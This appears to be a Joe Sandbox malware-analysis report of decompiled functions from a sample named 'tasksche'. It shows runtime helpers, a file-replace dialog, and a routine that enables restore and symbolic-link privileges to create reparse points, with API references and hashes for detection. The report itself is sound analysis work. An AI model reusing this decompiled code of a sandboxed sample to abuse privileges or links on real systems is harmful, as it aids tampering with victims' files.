Instruction ID: 2361e1c995e4a541e26ad64c94d2af3b89e31d8e4072a4a2db2c19a8efa4df55
Opcode Fuzzy Hash: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
Instruction Fuzzy Hash: 8EC0127151610056DF2046385A8845B376687433667789FF9E071D12E5CB3ECC56B025

Uniqueness

Uniqueness Score: -1.00%

Function 0041C993 Relevance: 1.5, APIs: 1, Instructions: 14
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0041C993(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t9;
				void* _t18;

				_push(0xc);
				_push(0x42d6f8);
				E0041FA9C(__ebx, __edi, __esi);
				E00421501();
				 *(_t18 - 4) =  *(_t18 - 4) & 0x00000000;
				_t9 = E0041C8A8(__edx,  *((intOrPtr*)(_t18 + 8))); // executed
				 *((intOrPtr*)(_t18 - 0x1c)) = _t9;
				 *(_t18 - 4) = 0xfffffffe;
				E0041C9C9();
				return E0041FAE1( *((intOrPtr*)(_t18 - 0x1c)));
			}

0x0041c993
0x0041c995
0x0041c99a
0x0041c99f
0x0041c9a4
0x0041c9ab
0x0041c9b1
0x0041c9b4
0x0041c9bb
0x0041c9c8

APIs

Part of subcall function 00421501: __lock.LIBCMT ref: 00421503

__onexit_nolock.LIBCMT ref: 0041C9AB

Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8B7
Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8C7
Part of subcall function 0041C8A8: __msize.LIBCMT ref: 0041C8E5
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C909
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C91F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C931
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C93F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C94A

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __encode_pointer$__decode_pointer__realloc_crt$__lock__msize__onexit_nolock
String ID:
API String ID: 1316407801-0
Opcode ID: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction ID: e58e71dbedfae0fd7c0196075773fdb904cc218e0a70426679e08a5f69f6d609
Opcode Fuzzy Hash: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction Fuzzy Hash: 8ED05B71E41605EACB10BFE6DC427CD77706F44315F60416FB018550D2C67C45C14A1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D513 Relevance: 1.5, APIs: 1, Instructions: 11
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D513(void* __edx, intOrPtr _a20, intOrPtr _a28) {
				void* _t5;

				SendDlgItemMessageW( *0x441844, 0x6a, 0x402, E0040D1DE(_a20, _a28), 0); // executed
				_t5 = E0040D116(); // executed
				return _t5;
			}

0x0040d530
0x0040d536
0x0040d53b

APIs

SendDlgItemMessageW.USER32 ref: 0040D530

Part of subcall function 0040D116: PeekMessageW.USER32 ref: 0040D127
Part of subcall function 0040D116: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040D138
Part of subcall function 0040D116: TranslateMessage.USER32(?), ref: 0040D142
Part of subcall function 0040D116: DispatchMessageW.USER32 ref: 0040D14C

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchItemPeekSendTranslate
String ID:
API String ID: 4142818094-0
Opcode ID: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction ID: 888b2871e718dea131dfcf0ec1cbc21fe8f041a13ed789b986bd41985b0bed4c
Opcode Fuzzy Hash: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction Fuzzy Hash: FDC01235240300ABE7117B50DD07F1A3A62BB88B09F808039BA81380F2CEB648369A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00408C47 Relevance: 1.5, APIs: 1, Instructions: 7
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00408C47(void* __ecx) {
				int _t2;

				_t2 = SetEndOfFile( *(__ecx + 4)); // executed
				asm("sbb eax, eax");
				return  ~(_t2 - 1) + 1;
			}

0x00408c4a
0x00408c53
0x00408c56

APIs

SetEndOfFile.KERNELBASE(?,004080D7,?,?,?,?,?,?), ref: 00408C4A

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction ID: 463f2a0b6f7528456a39aa395305c1415068e572747894341c9f749ccc5f34b3
Opcode Fuzzy Hash: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction Fuzzy Hash: 80B012703E0006878E102B30CD084143910D71130630041B0600AC6061CB13C0135611

Uniqueness

Uniqueness Score: -1.00%

Function 00419C88 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00419C88(WCHAR* _a4) {
				signed int _t2;

				_t2 = SetCurrentDirectoryW(_a4); // executed
				asm("sbb eax, eax");
				return  ~( ~_t2);
			}

0x00419c8c
0x00419c94
0x00419c98

APIs

SetCurrentDirectoryW.KERNELBASE(?,0040D8E5,0042A65C,00000000,?,00000006,?,00000800), ref: 00419C8C

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction ID: 2a7281b05ebb75ae791a00df68b116ffeccc810d55834c007acaed3bb23dd98c
Opcode Fuzzy Hash: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction Fuzzy Hash: 50A012302940064F8A100B30CC0D82577506760702F0096307002C10A4CB304430A505

Uniqueness

Uniqueness Score: -1.00%

Function 0041E75F Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041E75F() {
				void* _t1;

				_t1 = E0041E6ED(0); // executed
				return _t1;
			}

0x0041e761
0x0041e767

APIs

__encode_pointer.LIBCMT ref: 0041E761

Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E6FF
Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000005,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E716
Part of subcall function 0041E6ED: RtlEncodePointer.NTDLL(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E754

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 4883469bbd1ea34a64006740ed19a0f762d603c0c8182deb4ccf55bf016c8140
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DE5E Relevance: 52.8, APIs: 27, Strings: 3, Instructions: 291
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040DE5E(void* __ecx, void* __edx, void* __eflags) {
				void* _t71;
				void* _t86;
				int _t87;
				void* _t102;
				signed int _t130;
				void* _t139;
				void* _t150;
				struct HICON__* _t151;
				void* _t155;
				void* _t156;
				void* _t157;
				void* _t158;
				void* _t159;
				void* _t163;
				signed int _t167;
				void* _t169;
				struct HWND__* _t173;
				int _t179;
				void* _t181;
				void* _t183;
				void* _t185;

				_t169 = __edx;
				_t181 = _t183 - 0x68;
				E0041AAF0(0x1a50);
				_t173 =  *(_t181 + 0x70);
				if(E004060EE(__edx, _t173,  *(_t181 + 0x74),  *(_t181 + 0x78),  *((intOrPtr*)(_t181 + 0x7c)), L"REPLACEFILEDLG", 0, 0) == 0) {
					_t71 =  *(_t181 + 0x74) - 0x110;
					if(_t71 == 0) {
						SetFocus(GetDlgItem(_t173, 0x6c));
						E00410B9C(_t181 - 0x19e8,  *((intOrPtr*)(_t181 + 0x7c)), 0x800);
						E0040A2B0(_t181 - 0x19e8, _t181 - 0x19e8, 0x800);
						SetDlgItemTextW(_t173, 0x65, _t181 - 0x19e8);
						SHGetFileInfoW(_t181 - 0x19e8, 0, _t181 - 0x9e8, 0x2b4, 0x100);
						SendDlgItemMessageW( *(_t181 + 0x70), 0x66, 0x170,  *(_t181 - 0x9e8), 0);
						_t86 = FindFirstFileW(_t181 - 0x19e8, _t181 - 0x334);
						 *(_t181 + 0x74) = _t86;
						if(_t86 != 0xffffffff) {
							FileTimeToLocalFileTime(_t181 - 0x320, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							_t102 = E0040C3BF(0x99);
							_t163 = 0x200;
							E0040BC16(_t181 - 0x734, 0x200, L"%s %s %s", _t102);
							_t185 = _t183 + 0x18;
							SetDlgItemTextW( *(_t181 + 0x70), 0x6a, _t181 - 0x734);
							FindClose( *(_t181 + 0x74));
							if(( *(_t181 - 0x334) & 0x00000010) == 0) {
								_t139 = E0041ABD0( *((intOrPtr*)(_t181 - 0x318)), 0, 0, 1);
								asm("adc edx, ebx");
								E0040D155(_t139 +  *((intOrPtr*)(_t181 - 0x314)), _t169, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								_t163 = 0x200;
								E0040BC16(_t181 - 0x734, 0x200, L"%s %s", _t181 - 0xe4);
								_t185 = _t185 + 0x14;
								SetDlgItemTextW( *(_t181 + 0x70), 0x68, _t181 - 0x734);
							}
							SendDlgItemMessageW( *(_t181 + 0x70), 0x67, 0x170,  *(_t181 - 0x9e8), 0);
							E00411346( *0x441824, _t181 + 0x48);
							FileTimeToLocalFileTime(_t181 + 0x48, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							E0040BC16(_t181 - 0x734, _t163, L"%s %s %s", E0040C3BF(0x99));
							SetDlgItemTextW( *(_t181 + 0x70), 0x6b, _t181 - 0x734);
							_t130 =  *0x44182c;
							_t167 =  *0x441828;
							if(( *(_t181 - 0x334) & 0x00000010) == 0 || (_t167 | _t130) != 0) {
								E0040D155(_t167, _t130, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								E0040BC16(_t181 - 0x734, _t163, L"%s %s", _t181 - 0xe4);
								SetDlgItemTextW( *(_t181 + 0x70), 0x69, _t181 - 0x734);
							}
						}
						L26:
						_t87 = 0;
						L27:
						goto L28;
					}
					if(_t71 != 1) {
						goto L26;
					}
					_t179 = 2;
					_t150 = ( *(_t181 + 0x78) & 0x0000ffff) - _t179;
					if(_t150 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t179);
						L13:
						_t151 = SendDlgItemMessageW(_t173, 0x66, 0x171, 0, 0);
						if(_t151 != 0) {
							DestroyIcon(_t151);
						}
						EndDialog(_t173, _t179);
						_t87 = 1;
						goto L27;
					}
					_t155 = _t150 - 0x6a;
					if(_t155 == 0) {
						_t179 = 0;
						goto L13;
					}
					_t156 = _t155 - 1;
					if(_t156 == 0) {
						_t179 = 1;
						goto L13;
					}
					_t157 = _t156 - 1;
					if(_t157 == 0) {
						_push(4);
						goto L12;
					}
					_t158 = _t157 - 1;
					if(_t158 == 0) {
						goto L13;
					}
					_t159 = _t158 - 1;
					if(_t159 == 0) {
						_push(3);
						goto L12;
					}
					if(_t159 != 1) {
						goto L26;
					}
					goto L11;
				} else {
					_t87 = 1;
					L28:
					return _t87;
				}
			}

0x0040de5e
0x0040de5f
0x0040de68
0x0040de6f
0x0040de8c
0x0040de99
0x0040de9f
0x0040df14
0x0040df2a
0x0040df38
0x0040df4d
0x0040df68
0x0040df7f
0x0040df93
0x0040df99
0x0040df9f
0x0040dfb0
0x0040dfbe
0x0040dfd7
0x0040dfea
0x0040dff3
0x0040dff7
0x0040dffd
0x0040e008
0x0040e015
0x0040e01a
0x0040e029
0x0040e02e
0x0040e03b
0x0040e052
0x0040e061
0x0040e065
0x0040e074
0x0040e081
0x0040e08e
0x0040e093
0x0040e0a2
0x0040e0a2
0x0040e0b6
0x0040e0c6
0x0040e0d3
0x0040e0e1
0x0040e0f6
0x0040e10b
0x0040e114
0x0040e118
0x0040e131
0x0040e145
0x0040e14e
0x0040e153
0x0040e159
0x0040e16c
0x0040e17b
0x0040e190
0x0040e1a4
0x0040e1a4
0x0040e159
0x0040e1a6
0x0040e1a6
0x0040e1a8
0x00000000
0x0040e1a8
0x0040dea2
0x00000000
0x00000000
0x0040deae
0x0040deaf
0x0040deb1
0x0040decb
0x0040decb
0x0040decd
0x0040decd
0x0040dece
0x0040ded8
0x0040dee0
0x0040dee3
0x0040dee3
0x0040deeb
0x0040def3
0x00000000
0x0040def3
0x0040deb3
0x0040deb6
0x0040df06
0x00000000
0x0040df06
0x0040deb8
0x0040deb9
0x0040df03
0x00000000
0x0040df03
0x0040debb
0x0040debc
0x0040defd
0x00000000
0x0040defd
0x0040debe
0x0040debf
0x00000000
0x00000000
0x0040dec1
0x0040dec2
0x0040def9
0x00000000
0x0040def9
0x0040dec5
0x00000000
0x00000000
0x00000000
0x0040de8e
0x0040de90
0x0040e1ab
0x0040e1af
0x0040e1af

APIs

SendDlgItemMessageW.USER32 ref: 0040DED8
DestroyIcon.USER32(00000000), ref: 0040DEE3
EndDialog.USER32(?,00000006), ref: 0040DEEB

Strings

REPLACEFILEDLG, xrefs: 0040DE76
%s %s, xrefs: 0040E07C, 0040E183
%s %s %s, xrefs: 0040E003, 0040E124

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DestroyDialogIconItemMessageSend
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 3309745630-1840816070
Opcode ID: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
Instruction ID: 1ca02d43f13477766b0e0b2ecc80fe6690186a1d560daa565d76ee57e1f32e2a
Opcode Fuzzy Hash: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
Instruction Fuzzy Hash: 56A18272A4021CABEB21DFE0CC85FEF776DEB04704F440476BA05E60D1D6789E5A8B65

Uniqueness

Uniqueness Score: -1.00%

Function 0040690A Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 294
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040690A() {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t112;
				intOrPtr _t113;
				long _t120;
				intOrPtr _t122;
				signed int _t123;
				int _t144;
				long _t163;
				signed int _t168;
				void* _t178;
				void* _t180;
				void* _t184;
				short _t185;
				void* _t191;
				intOrPtr _t193;
				long _t194;
				short _t196;
				signed int _t222;
				void* _t227;
				void* _t229;
				void* _t230;
				void* _t242;

				E0041A4DC(E00429638, _t227);
				E0041AAF0(0x303c);
				if( *0x4335a3 == 0) {
					E00406553(L"SeRestorePrivilege");
					E00406553(L"SeCreateSymbolicLinkPrivilege");
					 *0x4335a3 = 1;
				}
				_t198 = _t227 - 0x20;
				E00406760(_t227 - 0x20, 0x1418);
				_t222 =  *(_t227 + 0x10);
				 *(_t227 - 4) =  *(_t227 - 4) & 0x00000000;
				_t5 = _t222 + 0x10f4; // 0x10f4
				E00410B9C(_t227 - 0x1024, _t5, 0x800);
				 *(_t227 + 0x10) = E0041A7AF(_t227 - 0x1024);
				_t225 = _t227 - 0x1024;
				 *((intOrPtr*)(_t227 - 0x10)) = _t227 - 0x2024;
				_t112 = E0041C81C(_t227 - 0x1024, L"\\??\\", 4);
				_t230 = _t229 + 0x10;
				asm("sbb bl, bl");
				_t191 =  ~_t112 + 1;
				if(_t191 == 0) {
					L5:
					_t113 =  *((intOrPtr*)(_t227 - 0x10));
					goto L6;
				} else {
					_t225 = _t227 - 0x101c;
					_t184 = E0041C81C(_t227 - 0x101c, L"UNC\\", 4);
					_t230 = _t230 + 0xc;
					if(_t184 != 0) {
						goto L5;
					}
					_t185 = 0x5c;
					 *((short*)(_t227 - 0x2024)) = _t185;
					_t113 = _t227 - 0x2022;
					_t225 = _t227 - 0x1016;
					L6:
					E0041A7F7(_t113, _t225);
					 *((intOrPtr*)(_t227 - 0x10)) = E0041A7AF(_t227 - 0x2024);
					if( *((char*)( *((intOrPtr*)(_t227 + 8)) + 0x518b)) != 0) {
						L16:
						E0040935F(_t191, _t198, _t222,  *(_t227 + 0xc), 1);
						__eflags =  *((char*)(_t222 + 0x10e1));
						if( *((char*)(_t222 + 0x10e1)) != 0) {
							L21:
							__eflags = CreateDirectoryW( *(_t227 + 0xc), 0);
							if(__eflags == 0) {
								L10:
								_t242 =  *(_t227 - 0x20);
								L11:
								if(_t242 == 0) {
									L14:
									_t120 = 0;
									L15:
									 *[fs:0x0] =  *((intOrPtr*)(_t227 - 0xc));
									return _t120;
								}
								_push( *(_t227 - 0x20));
								L13:
								E0041A506(_t191, _t222, _t225, _t242);
								goto L14;
							}
							_t225 = 0;
							__eflags = 0;
							L23:
							_t122 =  *((intOrPtr*)(_t222 + 0x10f0));
							__eflags = _t122 - 3;
							if(_t122 != 3) {
								__eflags = _t122 - 2;
								if(_t122 == 2) {
									L27:
									_t225 =  *(_t227 - 0x20);
									_t123 =  *(_t227 + 0x10);
									 *((short*)(_t225 + 0xa)) = _t123 + _t123;
									 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t123 +  *((intOrPtr*)(_t227 - 0x10)) + _t123 + 0x10;
									 *_t225 = 0xa000000c;
									 *((short*)(_t225 + 6)) = 0;
									 *((short*)(_t225 + 8)) = 0;
									E0041A7F7(_t225 + 0x14, _t227 - 0x1024);
									 *((short*)(_t225 + 0xc)) =  *(_t227 + 0x10) +  *(_t227 + 0x10) + 2;
									 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
									E0041A7F7(_t225 + 0x16 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
									__eflags = _t191;
									_t74 = _t191 == 0;
									__eflags = _t74;
									 *(_t225 + 0x10) = 0 | _t74;
									L28:
									_t191 = CreateFileW( *(_t227 + 0xc), 0xc0000000, 0, 0, 3, 0x2200000, 0);
									__eflags = _t191 - 0xffffffff;
									if(__eflags != 0) {
										_t144 = DeviceIoControl(_t191, 0x900a4, _t225, ( *(_t225 + 4) & 0x0000ffff) + 8, 0, 0, _t227 - 0x24, 0);
										__eflags = _t144;
										if(_t144 != 0) {
											E00408786(_t227 - 0x3048);
											 *(_t227 - 4) = 1;
											E00408A32(_t227 - 0x3048);
											 *(_t227 - 0x3044) = _t191;
											_t193 =  *((intOrPtr*)(_t227 + 8));
											asm("sbb eax, eax");
											_t88 = _t222 + 0x1040; // 0x1040
											asm("sbb eax, eax");
											_t90 = _t222 + 0x1038; // 0x1038
											_t92 = _t222 + 0x1030; // 0x1030
											asm("sbb eax, eax");
											E00408D35(_t227 - 0x3048,  ~( *(_t193 + 0x628c)) & _t92,  ~( *(_t193 + 0x6290)) & _t90,  ~( *(_t193 + 0x6294)) & _t88);
											E00408A32(_t227 - 0x3048);
											__eflags =  *((char*)(_t193 + 0x519b));
											if( *((char*)(_t193 + 0x519b)) == 0) {
												E0040908D( *(_t227 + 0xc),  *((intOrPtr*)(_t222 + 0x1c)));
											}
											 *(_t227 - 4) = 0;
											E00408C7D(_t193, _t227 - 0x3048);
											_t194 = 1;
											L37:
											_push(_t225);
											E0041A506(_t194, _t222, _t225, __eflags);
											_t120 = _t194;
											goto L15;
										}
										CloseHandle(_t191);
										E0040639F(0x14, 0,  *(_t227 + 0xc));
										_t163 = GetLastError();
										__eflags = _t163 - 0x522;
										if(_t163 == 0x522) {
											_t163 = E00401B9B(0x16);
										}
										E00401000(_t163);
										E004062BA(0x4335ac, 9);
										__eflags =  *((char*)(_t222 + 0x10e1));
										_push( *(_t227 + 0xc));
										if( *((char*)(_t222 + 0x10e1)) == 0) {
											DeleteFileW();
										} else {
											RemoveDirectoryW();
										}
										_t194 = 0;
										__eflags = 0;
										goto L37;
									}
									_push(_t225);
									goto L13;
								}
								__eflags = _t122 - 1;
								if(_t122 != 1) {
									L19:
									__eflags =  *(_t227 - 0x20) - _t225;
									goto L11;
								}
								goto L27;
							}
							_t168 =  *(_t227 + 0x10);
							_t225 =  *(_t227 - 0x20);
							_t196 = _t168 + _t168;
							 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t168 +  *((intOrPtr*)(_t227 - 0x10)) + _t168 + 0xc;
							 *_t225 = 0xa0000003;
							 *((short*)(_t225 + 6)) = 0;
							 *((short*)(_t225 + 8)) = 0;
							 *((short*)(_t225 + 0xa)) = _t196;
							E0041A7F7(_t225 + 0x10, _t227 - 0x1024);
							 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
							 *((short*)(_t225 + 0xc)) = _t196 + 2;
							E0041A7F7(_t225 + 0x12 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
							goto L28;
						}
						__eflags =  *((char*)(_t222 + 0x20f4));
						if( *((char*)(_t222 + 0x20f4)) != 0) {
							goto L21;
						}
						_t225 = 0;
						_t178 = CreateFileW( *(_t227 + 0xc), 0x40000000, 0, 0, 1, 0x80, 0);
						__eflags = _t178 - 0xffffffff;
						if(_t178 != 0xffffffff) {
							CloseHandle(_t178);
							goto L23;
						}
						goto L19;
					}
					if(_t191 != 0) {
						goto L10;
					}
					_t21 = _t222 + 0x10f4; // 0x10f4
					_t225 = _t21;
					_t180 = E0040A2F5(_t21);
					_t240 = _t180;
					if(_t180 != 0) {
						goto L10;
					}
					_t22 = _t222 + 0x20; // 0x20
					if(E004065C4(_t191, _t240, _t22, _t225) != 0) {
						goto L16;
					}
					goto L10;
				}
			}

0x0040690f
0x00406919
0x00406925
0x0040692c
0x00406936
0x0040693b
0x0040693b
0x0040694a
0x0040694d
0x00406952
0x00406955
0x0040695e
0x0040696c
0x0040697d
0x00406988
0x0040698e
0x00406999
0x0040699e
0x004069a5
0x004069a7
0x004069a9
0x004069df
0x004069df
0x00000000
0x004069ab
0x004069ad
0x004069bb
0x004069c0
0x004069c5
0x00000000
0x00000000
0x004069c9
0x004069ca
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069f5
0x00406a05
0x00406a4b
0x00406a50
0x00406a55
0x00406a5c
0x00406a94
0x00406a9f
0x00406aa1
0x00406a29
0x00406a29
0x00406a2d
0x00406a2d
0x00406a38
0x00406a38
0x00406a3a
0x00406a40
0x00406a48
0x00406a48
0x00406a2f
0x00406a32
0x00406a32
0x00000000
0x00406a37
0x00406aa3
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aab
0x00406aae
0x00406b13
0x00406b16
0x00406b21
0x00406b21
0x00406b24
0x00406b2e
0x00406b3d
0x00406b47
0x00406b4d
0x00406b51
0x00406b55
0x00406b62
0x00406b6b
0x00406b7e
0x00406b88
0x00406b8a
0x00406b8a
0x00406b8d
0x00406b90
0x00406baa
0x00406bac
0x00406baf
0x00406bcf
0x00406bd5
0x00406bd7
0x00406c45
0x00406c50
0x00406c54
0x00406c59
0x00406c5f
0x00406c6a
0x00406c6c
0x00406c7d
0x00406c7f
0x00406c90
0x00406c96
0x00406ca1
0x00406cac
0x00406cb1
0x00406cb8
0x00406cc0
0x00406cc0
0x00406ccb
0x00406ccf
0x00406cd4
0x00406c31
0x00406c31
0x00406c32
0x00406c38
0x00000000
0x00406c38
0x00406bda
0x00406be7
0x00406bec
0x00406bf2
0x00406bf7
0x00406bfb
0x00406bfb
0x00406c07
0x00406c10
0x00406c15
0x00406c1c
0x00406c1f
0x00406c29
0x00406c21
0x00406c21
0x00406c21
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bb1
0x00000000
0x00406bb1
0x00406b18
0x00406b1b
0x00406a86
0x00406a86
0x00000000
0x00406a86
0x00000000
0x00406b1b
0x00406ab0
0x00406ab3
0x00406abb
0x00406ac9
0x00406ad3
0x00406ad9
0x00406add
0x00406ae1
0x00406ae5
0x00406aef
0x00406b05
0x00406b09
0x00000000
0x00406b0e
0x00406a5e
0x00406a65
0x00000000
0x00000000
0x00406a67
0x00406a7b
0x00406a81
0x00406a84
0x00406a8c
0x00000000
0x00406a8c
0x00000000
0x00406a84
0x00406a09
0x00000000
0x00000000
0x00406a0b
0x00406a0b
0x00406a12
0x00406a17
0x00406a19
0x00000000
0x00000000
0x00406a1c
0x00406a27
0x00000000
0x00000000
0x00000000
0x00406a27

APIs

__EH_prolog.LIBCMT ref: 0040690F
_wcslen.LIBCMT ref: 00406978
_wcscpy.LIBCMT ref: 004069E4
_wcslen.LIBCMT ref: 004069F0

Part of subcall function 00406553: GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
Part of subcall function 00406553: OpenProcessToken.ADVAPI32(00000000), ref: 00406569
Part of subcall function 00406553: LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
Part of subcall function 00406553: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
Part of subcall function 00406553: GetLastError.KERNEL32 ref: 004065A8
Part of subcall function 00406553: CloseHandle.KERNEL32(?), ref: 004065B7

